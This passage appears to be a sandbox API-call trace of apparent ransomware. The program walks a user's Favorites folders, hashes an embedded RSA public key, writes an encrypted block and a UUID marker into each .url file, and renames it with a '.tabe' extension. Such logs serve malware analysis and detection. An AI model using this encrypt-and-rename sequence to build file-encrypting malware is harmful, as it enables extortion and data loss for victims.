hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.019] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.020] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x85, lpOverlapped=0x0) returned 1 [0127.020] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.020] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.020] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.020] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0127.021] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.021] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.021] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.021] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.021] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.021] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0127.021] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.021] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.021] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.021] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.022] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.022] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.022] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.022] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.022] CloseHandle (hObject=0x618) returned 1 [0127.023] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url.tabe")) returned 1 [0127.024] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0127.024] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url") returned=".url" [0127.024] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.025] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=133) returned 1 [0127.025] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.026] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.026] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.027] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x85, lpOverlapped=0x0) returned 1 [0127.027] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.027] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.027] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.027] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0127.028] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.028] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.028] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.028] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.028] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.028] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0127.028] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.028] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.028] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.028] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.029] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.029] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.029] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.029] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.029] CloseHandle (hObject=0x618) returned 1 [0127.029] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url.tabe")) returned 1 [0127.031] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0127.031] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.031] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.031] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.031] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0127.031] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0127.031] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.031] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.031] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.031] PathFindFileNameW (pszPath="") returned="" [0127.031] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.032] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.032] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0127.032] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url") returned=".url" [0127.032] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.033] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=133) returned 1 [0127.033] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.034] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.034] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.035] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x85, lpOverlapped=0x0) returned 1 [0127.035] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.035] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.035] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.035] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0127.036] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.036] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.036] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.036] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.036] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.036] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0127.036] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.036] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.036] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.036] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.037] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.037] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.037] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.037] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.037] CloseHandle (hObject=0x618) returned 1 [0127.038] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url.tabe")) returned 1 [0127.039] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0127.039] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url") returned=".url" [0127.039] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.040] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=133) returned 1 [0127.040] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.041] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.041] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.042] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x85, lpOverlapped=0x0) returned 1 [0127.042] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.042] lstrlenA (lpString="-----BEGIN PUBLIC 